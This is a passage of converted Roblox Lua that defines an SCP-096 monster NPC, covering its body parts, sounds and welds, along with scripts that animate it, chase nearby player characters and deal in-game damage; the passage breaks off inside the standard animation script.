- Part77.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part78.Name = "Head"
- Part78.Parent = Model62
- Part78.Material = Enum.Material.SmoothPlastic
- Part78.BrickColor = BrickColor.new("Institutional white")
- Part78.Elasticity = 0
- Part78.FormFactor = Enum.FormFactor.Symmetric
- Part78.Friction = 2
- Part78.Size = Vector3.new(1.21926439, 0.609631896, 0.609632194)
- Part78.CFrame = CFrame.new(62.9420624, 3.96265888, -91.6650696, 0.999993086, 2.82727941e-27, -1.19371949e-12, -3.23116387e-27, 0.999996662, -1.97145565e-27, 1.36424053e-12, 2.2530842e-27, 1)
- Part78.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part78.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part78.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part78.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part78.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part78.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part78.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part78.Position = Vector3.new(62.9420624, 3.96265888, -91.6650696)
- Part78.Color = Color3.new(0.972549, 0.972549, 0.972549)
- SpecialMesh79.Parent = Part78
- Sound80.Name = "Damage5"
- Sound80.Parent = Part78
- Sound80.Pitch = 1.5
- Sound80.SoundId = "rbxassetid://256509968"
- Sound80.Volume = 1
- Sound81.Name = "Idle"
- Sound81.Parent = Part78
- Sound81.Pitch = 1.5
- Sound81.SoundId = "rbxassetid://893111990"
- Sound81.Volume = 1
- Sound81.Looped = true
- Sound82.Name = "Scream"
- Sound82.Parent = Part78
- Sound82.Pitch = 1.5
- Sound82.SoundId = "rbxassetid://254933782"
- Sound82.Volume = 1
- Sound82.Looped = true
- Sound83.Name = "Panic"
- Sound83.Parent = Part78
- Sound83.Pitch = 1.5
- Sound83.SoundId = "rbxassetid://325080827"
- Sound83.Volume = 1
- SpecialMesh84.Name = "HeadMesh"
- SpecialMesh84.Parent = Part78
- SpecialMesh84.MeshId = "rbxassetid://36869983"
- SpecialMesh84.Scale = Vector3.new(0.800000012, 1, 0.800000012)
- SpecialMesh84.TextureId = "rbxassetid://367967552"
- SpecialMesh84.MeshType = Enum.MeshType.FileMesh
- SpecialMesh84.Scale = Vector3.new(0.800000012, 1, 0.800000012)
- Weld85.Name = "HeadWeld"
- Weld85.Parent = Part78
- Weld85.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Weld85.C1 = CFrame.new(-0.200000003, -0.419999987, 0.300000012, 1, 0, 0, 0, 0.00100100052, -0.999999523, -0, 0.999999523, 0.00100100052)
- Weld85.Part0 = Part78
- Weld85.Part1 = Part91
- Weld86.Name = "HeadWeld"
- Weld86.Parent = Part78
- Weld86.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Weld86.C1 = CFrame.new(0.200000003, -0.449999988, 0.300000012, 1, 0, 0, 0, 0.00100100052, -0.999999523, -0, 0.999999523, 0.00100100052)
- Weld86.Part0 = Part78
- Weld86.Part1 = Part94
- Weld87.Name = "HeadWeld"
- Weld87.Parent = Part78
- Weld87.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Weld87.C1 = CFrame.new(0, 0.5, 1.29999995, -1, 0, 0, 0, -0.000999999582, 0.999999523, 0, 0.999999523, 0.000999999582)
- Weld87.Part0 = Part78
- Weld87.Part1 = Part97
- Part88.Name = "Right Arm"
- Part88.Parent = Model62
- Part88.Material = Enum.Material.SmoothPlastic
- Part88.BrickColor = BrickColor.new("Institutional white")
- Part88.CanCollide = false
- Part88.Elasticity = 0
- Part88.FormFactor = Enum.FormFactor.Symmetric
- Part88.Friction = 2
- Part88.Size = Vector3.new(0.609632194, 2.43852758, 0.609632194)
- Part88.CFrame = CFrame.new(63.6736145, 2.62147307, -91.6650696, 0.999993205, 2.82727922e-27, 4.37098961e-08, -3.23116425e-27, 0.999996603, -1.97145585e-27, -4.3710024e-08, 2.253084e-27, 1)
- Part88.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part88.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part88.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part88.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part88.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part88.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part88.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part88.Position = Vector3.new(63.6736145, 2.62147307, -91.6650696)
- Part88.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Humanoid89.Name = "SCP"
- Humanoid89.Parent = Model62
- Humanoid89.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
- Humanoid89.HealthDisplayDistance = 0
- Humanoid89.NameDisplayDistance = 0
- Humanoid89.NameOcclusion = Enum.NameOcclusion.EnemyOcclusion
- Humanoid89.RightLeg = Part77
- Humanoid89.LeftLeg = Part64
- Humanoid89.Torso = Part104
- Humanoid89.Health = inf
- Humanoid89.MaxHealth = inf
- Humanoid89.WalkSpeed = 10
- Hat90.Name = "Eye"
- Hat90.Parent = Model62
- Hat90.AttachmentForward = Vector3.new(-0, 0.999999523, -0.00100100052)
- Hat90.AttachmentPos = Vector3.new(-0.200000003, -0.419999987, 0.300000012)
- Hat90.AttachmentUp = Vector3.new(0, 0.00100100052, 0.999999523)
- Part91.Name = "Handle"
- Part91.Parent = Hat90
- Part91.Material = Enum.Material.Neon
- Part91.BrickColor = BrickColor.new("Really red")
- Part91.Rotation = Vector3.new(-89.9399948, 0, 0)
- Part91.CanCollide = false
- Part91.Elasticity = 0
- Part91.FormFactor = Enum.FormFactor.Custom
- Part91.Friction = 2
- Part91.Size = Vector3.new(0.541477442, 0.541183412, 0.541184902)
- Part91.CFrame = CFrame.new(63.1420593, 4.16307878, -92.0853729, 0.999993086, 1.19371895e-12, -1.19491383e-15, -3.23116387e-27, 0.00100099714, 0.999996185, 1.36424053e-12, -0.999999523, 0.00100100052)
- Part91.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part91.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part91.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part91.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part91.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part91.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part91.Color = Color3.new(1, 0, 0)
- Part91.Position = Vector3.new(63.1420593, 4.16307878, -92.0853729)
- Part91.Orientation = Vector3.new(-89.8399963, 0, 0)
- Part91.Color = Color3.new(1, 0, 0)
- SpecialMesh92.Parent = Part91
- SpecialMesh92.Scale = Vector3.new(0.568191171, 0.610279262, 0.420882314)
- SpecialMesh92.MeshType = Enum.MeshType.Sphere
- SpecialMesh92.Scale = Vector3.new(0.568191171, 0.610279262, 0.420882314)
- Hat93.Name = "Eye"
- Hat93.Parent = Model62
- Hat93.AttachmentForward = Vector3.new(-0, 0.999999523, -0.00100100052)
- Hat93.AttachmentPos = Vector3.new(0.200000003, -0.449999988, 0.300000012)
- Hat93.AttachmentUp = Vector3.new(0, 0.00100100052, 0.999999523)
- Part94.Name = "Handle"
- Part94.Parent = Hat93
- Part94.Material = Enum.Material.Neon
- Part94.BrickColor = BrickColor.new("Really red")
- Part94.Rotation = Vector3.new(-89.9399948, 0, 0)
- Part94.CanCollide = false
- Part94.Elasticity = 0
- Part94.FormFactor = Enum.FormFactor.Custom
- Part94.Friction = 2
- Part94.Size = Vector3.new(0.599357903, 0.599063933, 0.599065483)
- Part94.CFrame = CFrame.new(62.7420654, 4.16310883, -92.1153717, 0.999993086, 1.19371895e-12, -1.19491383e-15, -3.23116387e-27, 0.00100099714, 0.999996185, 1.36424053e-12, -0.999999523, 0.00100100052)
- Part94.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part94.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part94.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part94.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part94.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part94.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part94.Color = Color3.new(1, 0, 0)
- Part94.Position = Vector3.new(62.7420654, 4.16310883, -92.1153717)
- Part94.Orientation = Vector3.new(-89.8399963, 0, 0)
- Part94.Color = Color3.new(1, 0, 0)
- SpecialMesh95.Parent = Part94
- SpecialMesh95.Scale = Vector3.new(0.568191171, 0.420882225, 0.420882314)
- SpecialMesh95.MeshType = Enum.MeshType.Sphere
- SpecialMesh95.Scale = Vector3.new(0.568191171, 0.420882225, 0.420882314)
- Hat96.Name = "Mouth"
- Hat96.Parent = Model62
- Hat96.AttachmentForward = Vector3.new(-0, -0.999999523, -0.000999999582)
- Hat96.AttachmentPos = Vector3.new(0, 0.5, 1.29999995)
- Hat96.AttachmentRight = Vector3.new(-1, 0, 0)
- Hat96.AttachmentUp = Vector3.new(0, -0.000999999582, 0.999999523)
- Part97.Name = "Handle"
- Part97.Parent = Hat96
- Part97.Material = Enum.Material.SmoothPlastic
- Part97.BrickColor = BrickColor.new("Really red")
- Part97.Rotation = Vector3.new(-89.9399948, 0, 180)
- Part97.CanCollide = false
- Part97.Elasticity = 0
- Part97.FormFactor = Enum.FormFactor.Custom
- Part97.Friction = 2
- Part97.Size = Vector3.new(0.628700197, 0.398687571, 1.35707223)
- Part97.CFrame = CFrame.new(62.9420624, 3.16316223, -92.1663666, -0.999993086, -1.19371895e-12, -1.19371898e-15, 3.23116387e-27, -0.000999996206, 0.999996185, -1.36424053e-12, 0.999999523, 0.000999999582)
- Part97.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part97.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part97.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part97.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part97.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part97.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part97.Color = Color3.new(1, 0, 0)
- Part97.Position = Vector3.new(62.9420624, 3.16316223, -92.1663666)
- Part97.Orientation = Vector3.new(-89.8399963, 0, 180)
- Part97.Color = Color3.new(1, 0, 0)
- SpecialMesh98.Parent = Part97
- SpecialMesh98.Scale = Vector3.new(0.899999976, 1, 1)
- SpecialMesh98.MeshType = Enum.MeshType.Sphere
- SpecialMesh98.Scale = Vector3.new(0.899999976, 1, 1)
- Decal99.Parent = Part97
- Decal99.Texture = "http://www.roblox.com/asset/?id=600743425"
- Decal99.Face = Enum.NormalId.Right
- Decal100.Parent = Part97
- Decal100.Texture = "http://www.roblox.com/asset/?id=600743425"
- Decal100.Face = Enum.NormalId.Left
- Decal101.Name = "MouthTex"
- Decal101.Parent = Part97
- Decal101.Texture = "http://www.roblox.com/asset/?id=270409456"
- Decal101.Face = Enum.NormalId.Bottom
- Decal102.Parent = Part97
- Decal102.Texture = "http://www.roblox.com/asset/?id=600743425"
- Decal103.Parent = Part97
- Decal103.Texture = "http://www.roblox.com/asset/?id=600743425"
- Decal103.Face = Enum.NormalId.Back
- Part104.Name = "HumanoidRootPart"
- Part104.Parent = Model62
- Part104.Material = Enum.Material.SmoothPlastic
- Part104.BrickColor = BrickColor.new("Really red")
- Part104.Transparency = 1
- Part104.CanCollide = false
- Part104.Elasticity = 0
- Part104.FormFactor = Enum.FormFactor.Symmetric
- Part104.Friction = 2
- Part104.Size = Vector3.new(1.21926439, 1.21926379, 0.609632194)
- Part104.CFrame = CFrame.new(62.9420624, 3.04821396, -91.6650696, 0.999993324, 2.82727941e-27, -1.19371949e-12, -3.23116464e-27, 0.999996662, -1.97145565e-27, 1.36424075e-12, 2.2530842e-27, 1)
- Part104.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part104.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part104.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part104.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part104.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part104.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part104.Color = Color3.new(1, 0, 0)
- Part104.Position = Vector3.new(62.9420624, 3.04821396, -91.6650696)
- Part104.Color = Color3.new(1, 0, 0)
- Motor6D105.Name = "RootJoint"
- Motor6D105.Parent = Part104
- Motor6D105.C0 = CFrame.new(0, 0, 0, 0.99999994, -0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
- Motor6D105.C1 = CFrame.new(0, 0, 0, 0.99999994, 0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
- Motor6D105.Part0 = Part104
- Motor6D105.Part1 = Part65
- Script106.Name = "MainAnimation"
- Script106.Parent = Model62
- table.insert(cors,sandbox(Script106,function()
- --[[ By: Brutez. ]]--
- local FreeSCP096AnimationScript=script;
- local FreeSCP096=FreeSCP096AnimationScript.Parent
- local FreeSCP096Humanoid=nil;
- local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso")
- local RightShoulder=FreeSCP096Torso:FindFirstChild("Right Shoulder")
- local LeftShoulder=FreeSCP096Torso:FindFirstChild("Left Shoulder")
- local RightHip=FreeSCP096Torso:FindFirstChild("Right Hip")
- local LeftHip=FreeSCP096Torso:FindFirstChild("Left Hip")
- local Neck=FreeSCP096Torso:FindFirstChild("Neck")
- local pose="Standing";
- for _,Child in pairs(FreeSCP096:GetChildren())do
- if Child.ClassName=="Humanoid"then
- FreeSCP096Humanoid=Child;
- end
- end
- function onRunning(speed)
- if speed>0.001 then
- pose = "Running"
- else
- pose = "Standing"
- end
- end
- function onDied()
- pose = "Dead"
- end
- function onJumping()
- pose = "Jumping"
- end
- function onClimbing()
- pose = "Climbing"
- end
- function onGettingUp()
- pose = "GettingUp"
- end
- function onFreeFall()
- pose = "FreeFall"
- end
- function onFallingDown()
- pose = "FallingDown"
- end
- function onSeated()
- pose = "Seated"
- end
- function moveJump()
- RightShoulder.MaxVelocity = 0.5
- LeftShoulder.MaxVelocity = 0.5
- RightShoulder.DesiredAngle = 3.14
- LeftShoulder.DesiredAngle = -3.14
- RightHip.DesiredAngle = 0
- LeftHip.DesiredAngle = 0
- end
- function moveFreeFall()
- RightShoulder.MaxVelocity = 1
- LeftShoulder.MaxVelocity = 1
- RightShoulder.DesiredAngle = 4
- LeftShoulder.DesiredAngle = -4
- RightHip.DesiredAngle = 1
- LeftHip.DesiredAngle = 1
- end
- function moveSit()
- RightShoulder.MaxVelocity = 0.15
- LeftShoulder.MaxVelocity = 0.15
- RightShoulder.DesiredAngle = 3.14 /2
- LeftShoulder.DesiredAngle = -3.14 /2
- RightHip.DesiredAngle = 1/2
- LeftHip.DesiredAngle = -1/2
- end
- function move(time)
- local amplitude
- local frequency
- if (pose == "Jumping") then
- moveJump()
- return
- end
- if (pose == "FreeFall") then
- moveFreeFall()
- return
- end
- if (pose == "Seated") then
- moveSit()
- return
- end
- local climbFudge = 0
- if (pose == "Running") then
- RightShoulder.MaxVelocity = 0.2
- LeftShoulder.MaxVelocity = 0.2
- RightHip.MaxVelocity = 0.2
- LeftHip.MaxVelocity = 0.2
- if FreeSCP096Humanoid.WalkSpeed~=35 then
- amplitude = 0.4
- frequency = 4
- else
- amplitude = 2
- frequency = 12
- end
- elseif (pose == "Climbing") then
- RightShoulder.MaxVelocity = 0.3
- LeftShoulder.MaxVelocity = 0.3
- RightHip.MaxVelocity = 1
- LeftHip.MaxVelocity = 1
- amplitude = 0.4
- frequency = 6
- climbFudge = 3.14
- else
- amplitude = 0.1
- frequency = 1
- end
- local desiredAngle=amplitude*math.sin(time*frequency);
- if FreeSCP096Humanoid.WalkSpeed==1 then --Panic
- RightShoulder.MaxVelocity = 0.05
- LeftShoulder.MaxVelocity = 0.05
- RightShoulder.DesiredAngle = 3.14
- LeftShoulder.DesiredAngle = -3.14
- end
- if FreeSCP096Humanoid.WalkSpeed>10 then
- RightShoulder.MaxVelocity = 5
- LeftShoulder.MaxVelocity = 5
- RightShoulder.DesiredAngle = 1.57
- LeftShoulder.DesiredAngle = -1.57
- RightHip.MaxVelocity = 3
- LeftHip.MaxVelocity =3
- end
- if FreeSCP096Humanoid.WalkSpeed~=1 and FreeSCP096Humanoid.WalkSpeed~=35 then
- RightShoulder.DesiredAngle=desiredAngle+climbFudge;
- LeftShoulder.DesiredAngle=desiredAngle-climbFudge;
- end
- RightHip.DesiredAngle = -desiredAngle
- LeftHip.DesiredAngle = -desiredAngle
- end
- FreeSCP096Humanoid.Died:connect(onDied)
- FreeSCP096Humanoid.Running:connect(onRunning)
- FreeSCP096Humanoid.Jumping:connect(onJumping)
- FreeSCP096Humanoid.Climbing:connect(onClimbing)
- FreeSCP096Humanoid.GettingUp:connect(onGettingUp)
- FreeSCP096Humanoid.FreeFalling:connect(onFreeFall)
- FreeSCP096Humanoid.FallingDown:connect(onFallingDown)
- FreeSCP096Humanoid.Seated:connect(onSeated)
- local nextTime=0
- local runService=game:service("RunService");
- while Wait(0)do
- local time=runService.Stepped:wait(0);
- if time>nextTime then
- move(time);
- nextTime=time;
- end;
- end;
- --[[ By: Brutez. ]]--
- end))
- Script107.Name = "Main"
- Script107.Parent = Model62
- table.insert(cors,sandbox(Script107,function()
- --[[ By: Brutez. ]]--
- local FreeSCP096Script=script;
- local FreeSCP096=FreeSCP096Script.Parent;
- local FreeSCP096Humanoid=nil;
- local FreeSCP096Head=FreeSCP096:FindFirstChild("Head");
- local FreeSCP096Idle=FreeSCP096Head:FindFirstChild("Idle");
- local FreeSCP096Panic=FreeSCP096Head:FindFirstChild("Panic");
- local FreeSCP096Scream=FreeSCP096Head:FindFirstChild("Scream");
- local FreeSCP096Kill=FreeSCP096Head:FindFirstChild("Damage5");
- local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso");
- for _,Child in pairs(FreeSCP096:GetChildren())do
- if Child.ClassName=="Humanoid"then
- FreeSCP096Humanoid=Child;
- end
- end
- local NoticeDistanceTime=0;
- local Noticed=false;
- function findNearestTorso(pos)
- local NoticeDistance=150;
- local torso=nil;
- for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
- if TargetModel.className=="Model"and TargetModel~=FreeSCP096 and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
- local TargetPart=TargetModel:FindFirstChild("Torso")
- local FoundHumanoid=nil;
- for _,Child in pairs(TargetModel:GetChildren())do
- if Child.ClassName=="Humanoid"then
- FoundHumanoid=Child;
- end
- end
- if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<NoticeDistance then
- if not Noticed and TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<20 then
- if FreeSCP096Idle.IsPlaying then
- FreeSCP096Idle:Stop()
- end
- if FreeSCP096Scream.IsPlaying then
- FreeSCP096Scream:Stop()
- end
- FreeSCP096Panic:Play()
- FreeSCP096Humanoid.WalkSpeed=1;
- Wait(17)
- Noticed=true
- end
- if Noticed then
- torso=TargetPart;
- NoticeDistance=(TargetPart.Position-pos).magnitude;
- end;
- end;
- if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<6 then
- FreeSCP096Kill:Play()
- FoundHumanoid:TakeDamage(99999e99999)
- end
- end
- end
- return torso
- end
- while Wait(0)do
- FreeSCP096Humanoid.MaxHealth=99999e99999
- FreeSCP096Humanoid.Health=99999e99999
- if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoJumpEnabled then
- FreeSCP096Humanoid.AutoJumpEnabled=true;
- end
- if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoRotate then
- FreeSCP096Humanoid.AutoRotate=true;
- end
- if FreeSCP096Humanoid and FreeSCP096Humanoid.PlatformStand then
- FreeSCP096Humanoid.PlatformStand=false;
- end
- if FreeSCP096Humanoid and FreeSCP096Humanoid.Sit then
- FreeSCP096Humanoid.Sit=false;
- end
- if Noticed then
- NoticeDistanceTime=NoticeDistanceTime+1
- if NoticeDistanceTime==500 or NoticeDistanceTime>500 then
- Noticed=false;
- NoticeDistanceTime=0
- end
- end
- local TargetPart=findNearestTorso(FreeSCP096Torso.Position);
- if TargetPart then
- if TargetPart and (TargetPart.Position-FreeSCP096Torso.Position).magnitude<50 and NoticeDistanceTime>0 then
- NoticeDistanceTime=NoticeDistanceTime-2
- end
- if FreeSCP096Idle.IsPlaying then
- FreeSCP096Idle:Stop()
- end
- if not FreeSCP096Scream.IsPlaying then
- FreeSCP096Scream:Play()
- end
- FreeSCP096Humanoid.WalkSpeed=35;
- FreeSCP096Humanoid:MoveTo(TargetPart.Position+Vector3.new(math.random(-4,4),TargetPart.Position.Y,math.random(-4,4)),TargetPart);
- else
- if not FreeSCP096Idle.IsPlaying then
- FreeSCP096Idle:Play()
- end
- if FreeSCP096Scream.IsPlaying then
- FreeSCP096Scream:Stop()
- end
- FreeSCP096Humanoid.WalkSpeed=10;
- local WanderChance=math.random(1,50);
- local JumpChance=math.random(1,100);
- if WanderChance==10 then
- local randompos=FreeSCP096Torso.Position+((Vector3.new(1,0,1)*math.random()-Vector3.new(.5,0,.5))*40);
- FreeSCP096Humanoid:MoveTo(randompos,game.Workspace.Terrain);
- end
- if JumpChance==10 then
- FreeSCP096Humanoid.Jump=true;
- end
- end
- end
- --[[ By: Brutez. ]]--
- end))
- Script108.Name = "Animate"
- Script108.Parent = Model62
- table.insert(cors,sandbox(Script108,function()
- function waitForChild(parent, childName)
- local child = parent:findFirstChild(childName)
- if child then return child end
- while true do
- child = parent.ChildAdded:wait()
- if child.Name==childName then return child end
- end
- end
- local Figure = script.Parent
- local Torso = waitForChild(Figure, "Torso")
- local RightShoulder = waitForChild(Torso, "Right Shoulder")
- local LeftShoulder = waitForChild(Torso, "Left Shoulder")
- local RightHip = waitForChild(Torso, "Right Hip")
- local LeftHip = waitForChild(Torso, "Left Hip")
- local Neck = waitForChild(Torso, "Neck")
- local Humanoid = waitForChild(Figure, "SCP")
- local pose = "Standing"
- local currentAnim = ""
- local currentAnimTrack = nil
- local currentAnimKeyframeHandler = nil
- local currentAnimSpeed = 1.0
- local animTable = {}
- local animNames = {
- idle = {
- { id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
- { id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
- },
- walk = {
- { id = "http://www.roblox.com/asset/?id=125749145", weight = 10 }
- },
- run = {
- { id = "run.xml", weight = 10 }
- },
- jump = {
- { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
- },
- fall = {
- { id = "http://www.roblox.com/asset/?id=125750759", weight = 10 }
- },
- climb = {
- { id = "http://www.roblox.com/asset/?id=125750800", weight = 10 }
- },
- toolnone = {
- { id = "http://www.roblox.com/asset/?id=125750867", weight = 10 }
- },
- toolslash = {
- { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
- -- { id = "slash.xml", weight = 10 }
- },
- toollunge = {
- { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
- },
- wave = {
- { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
- },
- point = {
- { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
- },
- dance = {
- { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
- },
- dance2 = {
- { id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
- },
- dance3 = {
- { id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
- },
- laugh = {
- { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
- },
- cheer = {
- { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
- },
- }
- -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
- local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
- math.randomseed(tick())
- function configureAnimationSet(name, fileList)
- if (animTable[name] ~= nil) then
- for _, connection in pairs(animTable[name].connections) do
- connection:disconnect()
- end
- end
- animTable[name] = {}
- animTable[name].count = 0
- animTable[name].totalWeight = 0
- animTable[name].connections = {}
- -- check for config values
- local config = script:FindFirstChild(name)
- if (config ~= nil) then
- -- print("Loading anims " .. name)
- table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
- table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
- local idx = 1
- for _, childPart in pairs(config:GetChildren()) do
- if (childPart:IsA("Animation")) then
- table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
- animTable[name][idx] = {}
- animTable[name][idx].anim = childPart
- local weightObject = childPart:FindFirstChild("Weight")
- if (weightObject == nil) then
- animTable[name][idx].weight = 1
- else
- animTable[name][idx].weight = weightObject.Value
- end
- animTable[name].count = animTable[name].count + 1
- animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
- -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
- idx = idx + 1
- end
- end
- end
- -- fallback to defaults
- if (animTable[name].count <= 0) then
- for idx, anim in pairs(fileList) do
- animTable[name][idx] = {}
- animTable[name][idx].anim = Instance.new("Animation")
- animTable[name][idx].anim.Name = name
- animTable[name][idx].anim.AnimationId = anim.id
- animTable[name][idx].weight = anim.weight
- animTable[name].count = animTable[name].count + 1
- animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
- -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
- end
- end
- end
- -- Setup animation objects
- function scriptChildModified(child)
- local fileList = animNames[child.Name]
- if (fileList ~= nil) then
- configureAnimationSet(child.Name, fileList)
- end
- end
- script.ChildAdded:connect(scriptChildModified)
- script.ChildRemoved:connect(scriptChildModified)
- for name, fileList in pairs(animNames) do
- configureAnimationSet(name, fileList)
- end
- -- ANIMATION
- -- declarations
- local toolAnim = "None"
- local toolAnimTime = 0
- local jumpAnimTime = 0
- local jumpAnimDuration = 0.3
- local toolTransitionTime = 0.1
- local fallTransitionTime = 0.3
- local jumpMaxLimbVelocity = 0.75
- -- functions
- function stopAllAnimations()
- local oldAnim = currentAnim
- -- return to idle if finishing an emote
- if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
- oldAnim = "idle"
- end
- currentAnim = ""
- if (currentAnimKeyframeHandler ~= nil) then
- currentAnimKeyframeHandler:disconnect()
- end
- if (currentAnimTrack ~= nil) then
- currentAnimTrack:Stop()
- currentAnimTrack:Destroy()
- currentAnimTrack = nil
- end
- return oldAnim
- end
- function setAnimationSpeed(speed)
- if speed ~= currentAnimSpeed then
- currentAnimSpeed = speed
- currentAnimTrack:AdjustSpeed(currentAnimSpeed)
- end
- end
- function keyFrameReachedFunc(frameName)
- if (frameName == "End") then
- -- print("Keyframe : ".. frameName)
- local repeatAnim = stopAllAnimations()
- local animSpeed = currentAnimSpeed
- playAnimation(repeatAnim, 0.0, Humanoid)
- setAnimationSpeed(animSpeed)
- end
- end
- -- Preload animations
- function playAnimation(animName, transitionTime, humanoid)
- local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil)
- if (animName ~= currentAnim and not idleFromEmote) then
- if (currentAnimTrack ~= nil) then
- currentAnimTrack:Stop(transitionTime)
- currentAnimTrack:Destroy()
- end
- currentAnimSpeed = 1.0
- local roll = math.random(1, animTable[animName].totalWeight)
- local origRoll = roll
- local idx = 1
- while (roll > animTable[animName][idx].weight) do
- roll = roll - animTable[animName][idx].weight
- idx = idx + 1
- end
- -- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
- local anim = animTable[animName][idx].anim
- -- load it to the humanoid; get AnimationTrack
- currentAnimTrack = humanoid:LoadAnimation(anim)
- -- play the animation
- currentAnimTrack:Play(transitionTime)
- currentAnim = animName
- -- set up keyframe name triggers
- if (currentAnimKeyframeHandler ~= nil) then
- currentAnimKeyframeHandler:disconnect()
- end
- currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
- end
- end
- -------------------------------------------------------------------------------------------
- -------------------------------------------------------------------------------------------
- local toolAnimName = ""
- local toolAnimTrack = nil
- local currentToolAnimKeyframeHandler = nil
- function toolKeyFrameReachedFunc(frameName)
- if (frameName == "End") then
- -- print("Keyframe : ".. frameName)
- local repeatAnim = stopToolAnimations()
- playToolAnimation(repeatAnim, 0.0, Humanoid)
- end
- end
- function playToolAnimation(animName, transitionTime, humanoid)
- if (animName ~= toolAnimName) then
- if (toolAnimTrack ~= nil) then
- toolAnimTrack:Stop()
- toolAnimTrack:Destroy()
- transitionTime = 0
- end
- local roll = math.random(1, animTable[animName].totalWeight)
- local origRoll = roll
- local idx = 1
- while (roll > animTable[animName][idx].weight) do
- roll = roll - animTable[animName][idx].weight
- idx = idx + 1
- end
- -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
- local anim = animTable[animName][idx].anim
- -- load it to the humanoid; get AnimationTrack
- toolAnimTrack = humanoid:LoadAnimation(anim)
- -- play the animation
- toolAnimTrack:Play(transitionTime)
